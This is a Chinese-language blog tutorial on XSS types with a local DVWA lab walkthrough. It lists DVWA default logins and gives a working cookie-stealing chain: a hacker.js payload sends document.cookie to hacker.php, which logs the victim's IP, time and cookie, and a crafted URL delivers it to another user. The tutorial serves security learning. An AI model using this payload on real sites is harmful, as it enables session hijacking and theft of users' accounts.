赞
踩
该学新知识了!
本篇文章篇幅有点长,做了很多的本地攻击演示!
请耐心观看。
XSS的定义:XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。
反射型XSS(非持久型XSS),攻击方式具有一次性。
攻击方式:攻击者通过包含XSS代码的恶意链接发送给受害者,当受害者访问该连接时,服务器接收该受害者用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给受害者用户的浏览器,浏览器解析这段包含XSS代码的恶意脚本,就会触发XSS漏洞然后完成攻击。
持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
攻击方式:多见与论坛,博客以及网站留言板。攻击者通过发帖,留言的方式,将恶意XSS脚本连同正常信息通过留言板提交到服务器内并被服务器存储下来,恶意XSS脚本也将保存在服务器中,当其他用户浏览帖子或者留言时,恶意XSS脚本会在他们的浏览器中执行。
DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
DOM型XSS是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
一个正常的输入框,我们可以将自己的xss代码写在提交框里。
数据没有插入到后台,浏览器会把我插入的内容,当作可执行代码给我们返回来。
登录的时候,没想起来账号,密码!但是有万能的
DVWA默认的用户有5个,用户名密码如下(一个足以):
admin/password
gordonb/abc123
1337/charley
pablo/letmein
smithy/password
登录进去,选择反射型XSS。
选择一个简单的payload:<script>alert(/xss/)</script>
输入任何xss代码,正常的输出,不会弹出我们想要的界面,这也让我很懵逼。
无奈查看了源码
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken();
发现了 htmlspecialchars() 函数,其主要作用就是把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
我说怎么输入,都不会弹窗,而是直接输出,我输入的xss代码,经过htmlspecialchars() 函数的转换,被转换成非HTML可执行代码,所以impossible等级不存在XSS漏洞。
构造payload:<script>alert(/xss/)</script>
弹窗成功!
查看源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
以get方式传参,没有经过任何过滤,很明显存在XSS漏洞。
工欲善其事,必先利其器。
直接上我们的工具!!!
hacker.js
var img = new Image();
img.src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.php?x=" + document.cookie;
document.body.append(img);
hacker.php
<?php
$cookie = $_GET['x'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
构造我们的payload:http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.js" /></script>
将我们的URL发给另外一个用户,他点了一下。
并且输入自己的姓名。
他输入之后,我们这边就生成了一个cookie.txt文件,我们打开看一下
他的IP,登陆地址,还有cookie已经在我们这边了。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。